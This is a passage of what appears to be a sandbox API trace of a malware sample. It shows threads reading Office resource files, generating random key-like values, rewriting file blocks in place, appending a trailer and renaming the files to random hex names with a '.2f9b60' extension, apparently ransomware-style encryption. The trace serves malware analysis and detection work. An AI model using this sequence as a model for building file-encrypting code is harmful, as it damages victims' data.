DestinationString="aa2427009ada809ceacf5a3a73a715f67e651e2bdd22cbf6d6a84091f063f813a816610f52c33c5d1668") returned 0x0 [0216.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x4312b3e0 [0216.360] wcscat (in: _Dest=0x1cd65130, _Source="aa2427009ada809ceacf5" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\aa2427009ada809ceacf5") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\aa2427009ada809ceacf5" [0216.360] wcscat (in: _Dest=0x1cd65130, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\aa2427009ada809ceacf5.2f9b60") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\aa2427009ada809ceacf5.2f9b60" [0216.360] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\aa2427009ada809ceacf5.2f9b60", NtPathName=0x20dbfd90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\aa2427009ada809ceacf5.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0216.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x4312b320 Thread: id = 1697 os_tid = 0x710 [0130.648] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PUBWZINT.REST.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\pubwzint.rest.trx_dll")) returned 0x2020 [0130.651] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PUBWZINT.REST.trx_dll", dwFileAttributes=0x20) returned 1 [0130.653] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PUBWZINT.REST.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\pubwzint.rest.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1a90 [0130.653] GetFileSizeEx (in: hFile=0x1a90, lpFileSize=0x20c4fa40 | out: lpFileSize=0x20c4fa40*=371552) returned 1 [0130.653] SetFilePointerEx (in: hFile=0x1a90, liDistanceToMove=0x5ab5c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.653] ReadFile (in: hFile=0x1a90, lpBuffer=0x20c4f9c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x20c4fa08, lpOverlapped=0x0 | out: lpBuffer=0x20c4f9c0*, lpNumberOfBytesRead=0x20c4fa08*=0x4, lpOverlapped=0x0) returned 1 [0130.658] SetFilePointerEx (in: hFile=0x1a90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266090 [0130.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202660c0 [0130.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202660f0 [0130.658] NtQuerySystemTime (in: CurrentTime=0x20c4f900 | out: CurrentTime=0x20c4f900*=132462177358990000) returned 0x0 [0130.658] RtlRandomEx (in: Seed=0x20c4f8f0 | out: Seed=0x20c4f8f0) returned 0x17101fa [0130.658] RtlRandomEx (in: Seed=0x20c4f8f0 | out: Seed=0x20c4f8f0) returned 0x710671e6 [0130.658] RtlRandomEx (in: Seed=0x20c4f8f0 | out: Seed=0x20c4f8f0) returned 0x2bb7ffd0 [0130.658] RtlRandomEx (in: Seed=0x20c4f8f0 | out: Seed=0x20c4f8f0) returned 0x76d12dc4 [0130.658] RtlRandomEx (in: Seed=0x20c4f8f0 | out: Seed=0x20c4f8f0) returned 0x3ed62263 [0130.658] RtlRandomEx (in: Seed=0x20c4f8f0 | out: Seed=0x20c4f8f0) returned 0x451dda67 [0130.658] RtlRandomEx (in: Seed=0x20c4f8f0 | out: Seed=0x20c4f8f0) returned 0x1830eed8 [0130.659] RtlRandomEx (in: Seed=0x20c4f8f0 | out: Seed=0x20c4f8f0) returned 0x19500cfe [0130.659] RtlRandomEx (in: Seed=0x20c4f8f0 | out: Seed=0x20c4f8f0) returned 0x7e883514 [0130.659] RtlRandomEx (in: Seed=0x20c4f8f0 | out: Seed=0x20c4f8f0) returned 0x619a39eb [0130.659] RtlRandomEx (in: Seed=0x20c4f8f0 | out: Seed=0x20c4f8f0) returned 0x95075b4 [0130.659] RtlRandomEx (in: Seed=0x20c4f8f0 | out: Seed=0x20c4f8f0) returned 0x5af21f2f [0130.659] RtlRandomEx (in: Seed=0x20c4f8f0 | out: Seed=0x20c4f8f0) returned 0x49d4fbe3 [0130.659] RtlRandomEx (in: Seed=0x20c4f8f0 | out: Seed=0x20c4f8f0) returned 0xecae91e [0130.659] RtlRandomEx (in: Seed=0x20c4f8f0 | out: Seed=0x20c4f8f0) returned 0x143f972a [0130.659] RtlRandomEx (in: Seed=0x20c4f8f0 | out: Seed=0x20c4f8f0) returned 0x3bde1de5 [0130.659] RtlRandomEx (in: Seed=0x20c4f8f0 | out: Seed=0x20c4f8f0) returned 0x33c8dd73 [0130.659] RtlRandomEx (in: Seed=0x20c4f8f0 | out: Seed=0x20c4f8f0) returned 0x38bf47a3 [0130.659] RtlRandomEx (in: Seed=0x20c4f8f0 | out: Seed=0x20c4f8f0) returned 0xcd0e2d2 [0130.659] RtlRandomEx (in: Seed=0x20c4f8f0 | out: Seed=0x20c4f8f0) returned 0x7248682a [0130.659] RtlRandomEx (in: Seed=0x20c4f8f0 | out: Seed=0x20c4f8f0) returned 0x4a61e5a1 [0130.659] RtlRandomEx (in: Seed=0x20c4f8f0 | out: Seed=0x20c4f8f0) returned 0x8d7db0c [0130.659] RtlRandomEx (in: Seed=0x20c4f8f0 | out: Seed=0x20c4f8f0) returned 0x7fdae644 [0130.659] RtlRandomEx (in: Seed=0x20c4f8f0 | out: Seed=0x20c4f8f0) returned 0x2463328c [0130.659] RtlRandomEx (in: Seed=0x20c4f8f0 | out: Seed=0x20c4f8f0) returned 0x61e81879 [0130.659] RtlRandomEx (in: Seed=0x20c4f8f0 | out: Seed=0x20c4f8f0) returned 0x7a9685e4 [0130.659] RtlRandomEx (in: Seed=0x20c4f8f0 | out: Seed=0x20c4f8f0) returned 0x5b6c4f50 [0130.659] RtlRandomEx (in: Seed=0x20c4f8f0 | out: Seed=0x20c4f8f0) returned 0x106f8257 [0130.659] RtlRandomEx (in: Seed=0x20c4f8f0 | out: Seed=0x20c4f8f0) returned 0x5bb3eed0 [0130.659] RtlRandomEx (in: Seed=0x20c4f8f0 | out: Seed=0x20c4f8f0) returned 0x5eafc8fd [0130.660] RtlRandomEx (in: Seed=0x20c4f8f0 | out: Seed=0x20c4f8f0) returned 0xba4f38 [0130.660] RtlRandomEx (in: Seed=0x20c4f8f0 | out: Seed=0x20c4f8f0) returned 0x21de61af [0130.675] SetFilePointerEx (in: hFile=0x1a90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.675] ReadFile (in: hFile=0x1a90, lpBuffer=0x41f84990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x20c4f960, lpOverlapped=0x0 | out: lpBuffer=0x41f84990*, lpNumberOfBytesRead=0x20c4f960*=0x3c00, lpOverlapped=0x0) returned 1 [0130.684] SetFilePointerEx (in: hFile=0x1a90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97490 [0130.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867d40 [0130.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266090 [0130.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266090) returned 1 [0130.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fe6910 [0130.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266090 [0130.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202660f0 [0130.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202660f0) returned 1 [0130.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867d40) returned 1 [0130.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97490) returned 1 [0130.686] WriteFile (hFile=0x1a90, lpBuffer=0x41fe6910, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x20c4f960, lpOverlapped=0x0) [0180.047] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fe6910) returned 1 [0180.047] SetFilePointerEx (in: hFile=0x1a90, liDistanceToMove=0x30c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.047] ReadFile (in: hFile=0x1a90, lpBuffer=0x41f84990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x20c4f960, lpOverlapped=0x0 | out: lpBuffer=0x41f84990*, lpNumberOfBytesRead=0x20c4f960*=0x3c00, lpOverlapped=0x0) returned 1 [0182.106] SetFilePointerEx (in: hFile=0x1a90, liDistanceToMove=0x30c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.106] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058c90 [0182.106] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0182.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f180 [0182.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f180) returned 1 [0182.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20193cc0 [0182.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f180 [0182.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f1b0 [0182.108] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f1b0) returned 1 [0182.109] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0182.109] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058c90) returned 1 [0182.109] WriteFile (in: hFile=0x1a90, lpBuffer=0x20193cc0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x20c4f960, lpOverlapped=0x0 | out: lpBuffer=0x20193cc0*, lpNumberOfBytesWritten=0x20c4f960*=0x3c00, lpOverlapped=0x0) returned 1 [0198.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20193cc0) returned 1 [0198.018] SetFilePointerEx (in: hFile=0x1a90, liDistanceToMove=0x56f60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.018] ReadFile (in: hFile=0x1a90, lpBuffer=0x41f84990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x20c4f960, lpOverlapped=0x0 | out: lpBuffer=0x41f84990*, lpNumberOfBytesRead=0x20c4f960*=0x3c00, lpOverlapped=0x0) returned 1 [0198.883] SetFilePointerEx (in: hFile=0x1a90, liDistanceToMove=0x56f60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059240 [0198.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0198.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b890 [0198.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313b890) returned 1 [0198.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42ffb8b0 [0198.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b890 [0198.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b8c0 [0198.887] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313b8c0) returned 1 [0198.887] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0198.888] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059240) returned 1 [0198.888] WriteFile (in: hFile=0x1a90, lpBuffer=0x42ffb8b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x20c4f960, lpOverlapped=0x0 | out: lpBuffer=0x42ffb8b0*, lpNumberOfBytesWritten=0x20c4f960*=0x3c00, lpOverlapped=0x0) returned 1 [0213.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ffb8b0) returned 1 [0213.892] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319f7c0 [0213.893] SetFilePointerEx (in: hFile=0x1a90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0213.893] WriteFile (in: hFile=0x1a90, lpBuffer=0x1ceb8ea0*, nNumberOfBytesToWrite=0x15c, lpNumberOfBytesWritten=0x20c4fa10, lpOverlapped=0x0 | out: lpBuffer=0x1ceb8ea0*, lpNumberOfBytesWritten=0x20c4fa10*=0x15c, lpOverlapped=0x0) returned 1 [0216.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced16b0 [0216.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a040 [0216.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab2b0 [0216.658] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab2b0) returned 1 [0216.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9f3f0 [0216.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab2b0 [0216.659] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa830 [0216.659] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa830) returned 1 [0216.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a040) returned 1 [0216.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced16b0) returned 1 [0216.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x55) returned 0x1ced5920 [0216.660] sprintf (in: _Dest=0x1ced5920, _Format="%c%c" | out: _Dest="ea") returned 2 [0216.661] sprintf (in: _Dest=0x1ced5922, _Format="%c%c" | out: _Dest="dd") returned 2 [0216.661] sprintf (in: _Dest=0x1ced5924, _Format="%c%c" | out: _Dest="ba") returned 2 [0216.661] sprintf (in: _Dest=0x1ced5926, _Format="%c%c" | out: _Dest="93") returned 2 [0216.661] sprintf (in: _Dest=0x1ced5928, _Format="%c%c" | out: _Dest="f8") returned 2 [0216.661] sprintf (in: _Dest=0x1ced592a, _Format="%c%c" | out: _Dest="66") returned 2 [0216.661] sprintf (in: _Dest=0x1ced592c, _Format="%c%c" | out: _Dest="86") returned 2 [0216.661] sprintf (in: _Dest=0x1ced592e, _Format="%c%c" | out: _Dest="91") returned 2 [0216.661] sprintf (in: _Dest=0x1ced5930, _Format="%c%c" | out: _Dest="e4") returned 2 [0216.661] sprintf (in: _Dest=0x1ced5932, _Format="%c%c" | out: _Dest="5a") returned 2 [0216.661] sprintf (in: _Dest=0x1ced5934, _Format="%c%c" | out: _Dest="38") returned 2 [0216.661] sprintf (in: _Dest=0x1ced5936, _Format="%c%c" | out: _Dest="6f") returned 2 [0216.661] sprintf (in: _Dest=0x1ced5938, _Format="%c%c" | out: _Dest="7b") returned 2 [0216.661] sprintf (in: _Dest=0x1ced593a, _Format="%c%c" | out: _Dest="d2") returned 2 [0216.661] sprintf (in: _Dest=0x1ced593c, _Format="%c%c" | out: _Dest="d5") returned 2 [0216.661] sprintf (in: _Dest=0x1ced593e, _Format="%c%c" | out: _Dest="7f") returned 2 [0216.661] sprintf (in: _Dest=0x1ced5940, _Format="%c%c" | out: _Dest="de") returned 2 [0216.661] sprintf (in: _Dest=0x1ced5942, _Format="%c%c" | out: _Dest="aa") returned 2 [0216.661] sprintf (in: _Dest=0x1ced5944, _Format="%c%c" | out: _Dest="50") returned 2 [0216.661] sprintf (in: _Dest=0x1ced5946, _Format="%c%c" | out: _Dest="b5") returned 2 [0216.661] sprintf (in: _Dest=0x1ced5948, _Format="%c%c" | out: _Dest="0f") returned 2 [0216.661] sprintf (in: _Dest=0x1ced594a, _Format="%c%c" | out: _Dest="e2") returned 2 [0216.661] sprintf (in: _Dest=0x1ced594c, _Format="%c%c" | out: _Dest="7e") returned 2 [0216.661] sprintf (in: _Dest=0x1ced594e, _Format="%c%c" | out: _Dest="fa") returned 2 [0216.661] sprintf (in: _Dest=0x1ced5950, _Format="%c%c" | out: _Dest="c8") returned 2 [0216.661] sprintf (in: _Dest=0x1ced5952, _Format="%c%c" | out: _Dest="35") returned 2 [0216.661] sprintf (in: _Dest=0x1ced5954, _Format="%c%c" | out: _Dest="b0") returned 2 [0216.661] sprintf (in: _Dest=0x1ced5956, _Format="%c%c" | out: _Dest="d2") returned 2 [0216.661] sprintf (in: _Dest=0x1ced5958, _Format="%c%c" | out: _Dest="d5") returned 2 [0216.661] sprintf (in: _Dest=0x1ced595a, _Format="%c%c" | out: _Dest="a5") returned 2 [0216.661] sprintf (in: _Dest=0x1ced595c, _Format="%c%c" | out: _Dest="f5") returned 2 [0216.661] sprintf (in: _Dest=0x1ced595e, _Format="%c%c" | out: _Dest="62") returned 2 [0216.661] sprintf (in: _Dest=0x1ced5960, _Format="%c%c" | out: _Dest="19") returned 2 [0216.662] sprintf (in: _Dest=0x1ced5962, _Format="%c%c" | out: _Dest="06") returned 2 [0216.662] sprintf (in: _Dest=0x1ced5964, _Format="%c%c" | out: _Dest="a9") returned 2 [0216.662] sprintf (in: _Dest=0x1ced5966, _Format="%c%c" | out: _Dest="4e") returned 2 [0216.662] sprintf (in: _Dest=0x1ced5968, _Format="%c%c" | out: _Dest="55") returned 2 [0216.662] sprintf (in: _Dest=0x1ced596a, _Format="%c%c" | out: _Dest="50") returned 2 [0216.662] sprintf (in: _Dest=0x1ced596c, _Format="%c%c" | out: _Dest="00") returned 2 [0216.662] sprintf (in: _Dest=0x1ced596e, _Format="%c%c" | out: _Dest="44") returned 2 [0216.662] sprintf (in: _Dest=0x1ced5970, _Format="%c%c" | out: _Dest="21") returned 2 [0216.662] sprintf (in: _Dest=0x1ced5972, _Format="%c%c" | out: _Dest="96") returned 2 [0216.662] RtlInitAnsiString (in: DestinationString=0x20c4fa88, SourceString="eaddba93f8668691e45a386f7bd2d57fdeaa50b50fe27efac835b0d2d5a5f5621906a94e555000442196" | out: DestinationString="eaddba93f8668691e45a386f7bd2d57fdeaa50b50fe27efac835b0d2d5a5f5621906a94e555000442196") [0216.662] RtlAnsiStringToUnicodeString (in: DestinationString=0x20c4fa58, SourceString="eaddba93f8668691e45a386f7bd2d57fdeaa50b50fe27efac835b0d2d5a5f5621906a94e555000442196", AllocateDestinationString=1 | out: DestinationString="eaddba93f8668691e45a386f7bd2d57fdeaa50b50fe27efac835b0d2d5a5f5621906a94e555000442196") returned 0x0 [0216.662] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x4312b620 [0216.663] wcscat (in: _Dest=0x431f3010, _Source="eaddba93f8668691e45a3" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\eaddba93f8668691e45a3") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\eaddba93f8668691e45a3" [0216.663] wcscat (in: _Dest=0x431f3010, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\eaddba93f8668691e45a3.2f9b60") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\eaddba93f8668691e45a3.2f9b60" [0216.663] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\eaddba93f8668691e45a3.2f9b60", NtPathName=0x20c4fa30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\eaddba93f8668691e45a3.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0216.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x4314baa0 Thread: id = 1698 os_tid = 0xb24 [0130.657] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\SGRES.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\sgres.dll.trx_dll")) returned 0x2020 [0130.678] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\SGRES.DLL.trx_dll", dwFileAttributes=0x20) returned 1 [0130.680] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\SGRES.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\sgres.dll.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1a94 [0130.681] GetFileSizeEx (in: hFile=0x1a94, lpFileSize=0x1c94fcc0 | out: lpFileSize=0x1c94fcc0*=13152) returned 1 [0130.681] SetFilePointerEx (in: hFile=0x1a94, liDistanceToMove=0x335c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.682] ReadFile (in: hFile=0x1a94, lpBuffer=0x1c94fc40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1c94fc88, lpOverlapped=0x0 | out: lpBuffer=0x1c94fc40*, lpNumberOfBytesRead=0x1c94fc88*=0x4, lpOverlapped=0x0) returned 1 [0130.689] SetFilePointerEx (in: hFile=0x1a94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202660f0 [0130.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266180 [0130.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202661b0 [0130.690] NtQuerySystemTime (in: CurrentTime=0x1c94fb80 | out: CurrentTime=0x1c94fb80*=132462177359302000) returned 0x0 [0130.690] RtlRandomEx (in: Seed=0x1c94fb70 | out: Seed=0x1c94fb70) returned 0x5af3522a [0130.690] RtlRandomEx (in: Seed=0x1c94fb70 | out: Seed=0x1c94fb70) returned 0x1401f2b2 [0130.690] RtlRandomEx (in: Seed=0x1c94fb70 | out: Seed=0x1c94fb70) returned 0x1dae4734 [0130.690] RtlRandomEx (in: Seed=0x1c94fb70 | out: Seed=0x1c94fb70) returned 0x735e1d6e [0130.690] RtlRandomEx (in: Seed=0x1c94fb70 | out: Seed=0x1c94fb70) returned 0x7ba19cf4 [0130.690] RtlRandomEx (in: Seed=0x1c94fb70 | out: Seed=0x1c94fb70) returned 0x653e8afd [0130.690] RtlRandomEx (in: Seed=0x1c94fb70 | out: Seed=0x1c94fb70) returned 0xb58424e [0130.690] RtlRandomEx (in: Seed=0x1c94fb70 | out: Seed=0x1c94fb70) returned 0x6400b6b [0130.690] RtlRandomEx (in: Seed=0x1c94fb70 | out: Seed=0x1c94fb70) returned 0x5a9cefb6 [0130.690] RtlRandomEx (in: Seed=0x1c94fb70 | out: Seed=0x1c94fb70) returned 0x4d31e42a [0130.690] RtlRandomEx (in: Seed=0x1c94fb70 | out: Seed=0x1c94fb70) returned 0x5ff25b49 [0130.690] RtlRandomEx (in: Seed=0x1c94fb70 | out: Seed=0x1c94fb70) returned 0x26c085be [0130.691] RtlRandomEx (in: Seed=0x1c94fb70 | out: Seed=0x1c94fb70) returned 0x40020fa3 [0130.691] RtlRandomEx (in: Seed=0x1c94fb70 | out: Seed=0x1c94fb70) returned 0x50c936e6 [0130.691] RtlRandomEx (in: Seed=0x1c94fb70 | out: Seed=0x1c94fb70) returned 0x17f4d245 [0130.691] RtlRandomEx (in: Seed=0x1c94fb70 | out: Seed=0x1c94fb70) returned 0x4f0649c3 [0130.691] RtlRandomEx (in: Seed=0x1c94fb70 | out: Seed=0x1c94fb70) returned 0xcc7f547 [0130.691] RtlRandomEx (in: Seed=0x1c94fb70 | out: Seed=0x1c94fb70) returned 0x2e9f6739 [0130.691] RtlRandomEx (in: Seed=0x1c94fb70 | out: Seed=0x1c94fb70) returned 0x69812aeb [0130.691] RtlRandomEx (in: Seed=0x1c94fb70 | out: Seed=0x1c94fb70) returned 0x6b64e389 [0130.691] RtlRandomEx (in: Seed=0x1c94fb70 | out: Seed=0x1c94fb70) returned 0x298ab07a [0130.691] RtlRandomEx (in: Seed=0x1c94fb70 | out: Seed=0x1c94fb70) returned 0x5fecd5e8 [0130.691] RtlRandomEx (in: Seed=0x1c94fb70 | out: Seed=0x1c94fb70) returned 0x76031020 [0130.691] RtlRandomEx (in: Seed=0x1c94fb70 | out: Seed=0x1c94fb70) returned 0x57a3ddec [0130.691] RtlRandomEx (in: Seed=0x1c94fb70 | out: Seed=0x1c94fb70) returned 0x268179c2 [0130.691] RtlRandomEx (in: Seed=0x1c94fb70 | out: Seed=0x1c94fb70) returned 0x41032423 [0130.691] RtlRandomEx (in: Seed=0x1c94fb70 | out: Seed=0x1c94fb70) returned 0x14eafb2f [0130.691] RtlRandomEx (in: Seed=0x1c94fb70 | out: Seed=0x1c94fb70) returned 0x51d6c695 [0130.692] RtlRandomEx (in: Seed=0x1c94fb70 | out: Seed=0x1c94fb70) returned 0x3fac5e23 [0130.692] RtlRandomEx (in: Seed=0x1c94fb70 | out: Seed=0x1c94fb70) returned 0x5a353054 [0130.692] RtlRandomEx (in: Seed=0x1c94fb70 | out: Seed=0x1c94fb70) returned 0x349f611f [0130.692] RtlRandomEx (in: Seed=0x1c94fb70 | out: Seed=0x1c94fb70) returned 0x3afd0d7b [0130.707] ReadFile (in: hFile=0x1a94, lpBuffer=0x41fea520, nNumberOfBytesToRead=0x3360, lpNumberOfBytesRead=0x1c94fb70, lpOverlapped=0x0 | out: lpBuffer=0x41fea520*, lpNumberOfBytesRead=0x1c94fb70*=0x3360, lpOverlapped=0x0) returned 1 [0130.716] SetFilePointerEx (in: hFile=0x1a94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.716] WriteFile (in: hFile=0x1a94, lpBuffer=0x41fdb4e0*, nNumberOfBytesToWrite=0x3360, lpNumberOfBytesWritten=0x1c94fb74, lpOverlapped=0x0 | out: lpBuffer=0x41fdb4e0*, lpNumberOfBytesWritten=0x1c94fb74*=0x3360, lpOverlapped=0x0) returned 1 [0166.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1a30 [0166.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1a00 [0166.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1a00) returned 1 [0166.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fdb4e0) returned 1 [0166.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fea520) returned 1 [0166.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867d40) returned 1 [0166.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97490) returned 1 [0166.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1cd9efb0 [0166.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97490 [0166.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867d40 [0166.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) 